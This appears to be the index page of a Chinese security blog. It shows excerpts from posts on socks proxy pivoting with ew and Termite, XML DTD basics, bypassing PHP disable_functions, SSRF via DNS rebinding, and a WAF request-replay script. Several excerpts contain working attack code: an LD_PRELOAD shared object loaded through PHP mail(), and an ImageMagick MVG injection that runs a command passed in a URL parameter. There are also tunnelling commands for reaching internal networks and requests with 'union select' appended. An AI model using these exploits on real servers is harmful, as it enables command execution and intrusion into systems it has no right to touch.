wubba lubba dub dub.
post @ 2018-02-03

网上讲ew的方法比较多,周末看了下作者的视频,感觉termite也挺有意思的

正向socks v5服务器

https://xianzhi.aliyun.com/forum/read/735.html
以上面这个文章作为例子,来说下对应的转发与代理

如果目标有一个外网IP:

ew来说建立socks代理服务:

ew -s ssocksd -l 8888

Termite:

agent_exe -l 8888
admin_exe -c [tartet_ip] -p 8888
然后在admin_exe里面有一个操作界面,可以使用show看下当前节点分布,然后如下操作:
goto 1
socks 1080
此时VPS上面的1080就架设了一个服务器。

反弹socks服务器

假设目标机器没有公网IP,但是可以访问内网资源,ew的步骤是这样的:

Read More
post @ 2018-02-02

XML基础:

XML文档结构:

XML声明
<?xml version="1.0"?>

DTD文档类型定义
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]


文档元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTD(document type definitions)可以定义一个合法的XML文档构建模块,可以被成行声明于XML文档中,也可以作为一个外部引用。

内部声明DTD:

<!DOCTYPE 跟元素 [元素声明]>

引用外部DTD:

<!DOCTYPE 根元素  SYSTEM "文件名">

DTD文档中很多关键字如下:

  • DOCTYPE(DTD的声明)
  • ENTITY (实体的声明)
  • SYSTEM、PUBLIC (外部资源申请)

###实体

实体可以理解为变量,必须在DTD定义声明,可以在文档中的其它位置引用该变量的值。
实体按类型主要分以下四种:

  • 内置实体(Built-in entities)
  • 字符实体(Character entities)
  • 通用实体(General entities)
  • 参数实体 (Parameter entities)
Read More
post @ 2017-12-12

https://threathunter.org/topic/596d90d5dff9e14c40b61986

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("echo aaaaa> /tmp/abc.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; } 
unsetenv("LD_PRELOAD");
payload();
}
<?php 
putenv("LD_PRELOAD=/var/www/hack.so");
mail("a[@localhost](/user/localhost)","","","","");
?>

使用方法:

gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so

修改hack.c文件里面的内容即可执行命令,经过测试在lnmp一键安装包可以顺利执行。
在gcc编译的时候可以放在其他linux上面编译,好了之后上传到目标服务器。

====
2018.8.22:

使用imageMagick 绕过:

<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";

$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
    $command = 'id';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

上面的比较老,最新的imagemagic漏洞:

Read More
post @ 2017-12-11

代码捉急,先看例子:

<http://www.jianshu.com/p/d85a4329d0c2>
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import threading
import Queue
import random
import time


class Producter(threading.Thread):
    """生产者线程"""
    def __init__(self, t_name, queue):
        self.queue = queue
        threading.Thread.__init__(self, name=t_name)

    def run(self):
        for i in range(10):
            randomnum = random.randint(1, 99)
            self.queue.put(randomnum)
            print 'put num in Queue %s' %  randomnum
            time.sleep(1)

        print 'put queue done'


class ConsumeEven(threading.Thread):
    """奇数消费线程"""
    def __init__(self, t_name, queue):
        self.queue = queue
        threading.Thread.__init__(self, name=t_name)

    def run(self):
        while True:
            try:
                queue_val = self.queue.get(1, 3)
            except Exception, e:
                print e
                break;

            if queue_val % 2 == 0:
                print 'Get Even Num %s ' % queue_val
            else:
                self.queue.put(queue_val)


q = Queue.Queue()
pt = Producter('producter', q)
ce = ConsumeEven('consumeeven', q)
ce.start()
pt.start()
pt.join()
ce.join()

照着写:

#!/usr/bin/env python
# coding: utf-8

from elasticsearch import Elasticsearch
import requests
from Queue import Queue
import time
import threading
import datetime

es = Elasticsearch('xxxxxx:9200', http_auth=('user', 'password'))


class Producter(threading.Thread):
	def __init__(self, queue):
		threading.Thread.__init__(self)
		self.queue = queue
		self.initime = datetime.datetime.now().strftime('%Y.%m.%d')


	def initsearch(self):
		dsl_query = {
		  "query": {
		    "match": {
		      "method": {
		        "query": "GET",
		        "type": "phrase"
		      }
		    }
		  },
			"size": 100,
		"sort": [{"@timestamp": {"order": "desc"}}]
		}
		res = es.search(index="packetbeat-" + self.initime, body=dsl_query)
		latest_time = res['hits']['hits'][0]['_source']['@timestamp']
		return latest_time


	def run(self):
		latest_time = self.initsearch()
		while 1:
			lastindex = latest_time.split('T')[0].replace('-', '.')  # 获取最新的index
			dsl_query2 = {
				"query": {
					"bool": {
						"must": {
							"match": {
								"method": "GET"
							}
						},
						"filter": {
							"range": {
								"@timestamp": {
									"gte": latest_time
								}
							}
						}
					}
				},
				"sort": [{"@timestamp": {"order": "desc"}}],
				"size": 1000
			}
			time.sleep(10)
			res2 = es.search(index="packetbeat-" + lastindex, body=dsl_query2)
			for hit in res2['hits']['hits']:
				# print hit['_source']['@timestamp'], hit['_id'], hit['_source']['path']
				self.queue.put([hit['_source']['path'], hit['_source']['http']['request']['params'], hit['_source']['method']])
				print "Put %s" % hit['_id']
				print hit['_source']['@timestamp']
			latest_time = res2['hits']['hits'][0]['_source']['@timestamp']


class Consumer(threading.Thread):
	def __init__(self, queue):
		threading.Thread.__init__(self)
		self.queue = queue

	#
	# def http_curl(self):
	# 	# http_client = AsyncHTTPClient()
	# 	path = self.request[0]
	# 	param = self.request[1]
	# 	method = self.request[2]
	# 	if method == "GET":
	# 		##判断get的param是否是空
	# 		if not param:
	# 			pass
	# 		else:
	# 			rep = requests.get("http://xxxxxx:9999" + path + '?' + param + "union select")
	# 			print "Curl %s" % self.request
	# 			print rep.status_code
	# 	else:
	# 		#留着写POST请求判断
	# 		pass


	def run(self):
		while 1:
			try:
				request = self.queue.get()
				path = request[0]
				param = request[1]
				method = request[2]
				if method == 'GET':
					if not param:
						pass
					else:
						rep = requests.get("http://xxxxx:9999" + path + '?' + param + "union select")
				#else  写POST
				print "Get %s" % request
				print rep.status_code
			except Exception as e:
				raise e

q = Queue()
pt = Producter(q)
ce = Consumer(q)
ce.start()
pt.start()
pt.join()
ce.join()

代码应该还有点问题,先记录下大概的流程:

使用: packetbeat在A服务器抓包,格式化之后把数据发送到B服务器,存储在elk里面,然后B服务器画图对这些请求进行分析,比如某个接口报警之类的。

这个时候在B服务器设置一个naxsi防火墙代理,然后把es里面的输出取出来,再发送一遍给B。经过测试,虽然这样子请求大部分都是404,但是如果请求中存在恶意payload,防火墙会记录日志。(所以这里的规则要设置的特别严格,严格到每个请求都不放过)

上面的脚本就是在B防火墙的转发脚本demo,测试为GET请求,因为POST请求的body没有存储到es里面,脚本的大概思路是这样的:

因为es里面存储的数据包是这样的格式: packet-[year]-[days]
所以先得到今天的日期,随便选100条,记录最新的时间戳,此时初始化完成。

下面的请求都是基于这个时间戳来的,每隔10s,在这个时间戳的基础上,轮询请求一次es,然后组装起来发送到B服务器。
记录下每次请求的最新日期,然后请求这个index,因为packet的格式: packet-[year]-[days],所以记录下每次请求的最新时间,格式化抓取最新的时间:

latest_time = res2['hits']['hits'][0]['_source']['@timestamp']

当es的存储数据按照大于某个时间点去筛选的时候,只会出现匹配的时间条数,所以可以把请求的size设置得大一点

暂时的问题:

Read More
post @ 2017-12-06

最后的链接是关于dns rebinding的文章,这里主要做一个笔记:

先盗用ricterz.me的博客一个图

在ssrf的时候,客户修复过之后。再次判断url的时候,逻辑就是上图这个样子。

  1. 获取请求的地址,如果是域名,通过DNS解析的方式获取真实IP,如果是IP则直接对比是否在指定的IP段内。
  2. 比如获取了test.loli.club请求地址是10.0.0.1,黑名单是10.0.0.0/8,则拒绝访问

使用DNS Rebinding的会有这样的攻击效果:

  1. 获取test.loli.club的请求地址不是10.0.0.0/8这个黑名单范围里面
  2. 放行之后,然后后端请求这个URL的资源。如果TTL足够小,这个时候会又发生一次DNS解析。如果这个URL可控,我们就可以控制这次的解析IP。

DNS返回的数据包存在一个TTL(Time-to-Live),也就是域名解析记录在DNS服务器上的缓存时间。如果两次DNS的请求时间大于TTL,就会重新进行一次DNS解析请求。

所以,第一次发生DNS解析的时候,返回一个不在黑名单的IP地址,第二次服务端URL请求的时候,让服务器返回一次DNS解析,解析到黑名单地址,从而绕过。

根据goychou大神的脚本,测试以下步骤:

  • 添加一个A记录,域名是ns.xyz.pw,指向服务器A
  • 再添加一个ns记录,域名是rebind.xyz.pw,指向ns.xyz.pw
Read More
⬆︎TOP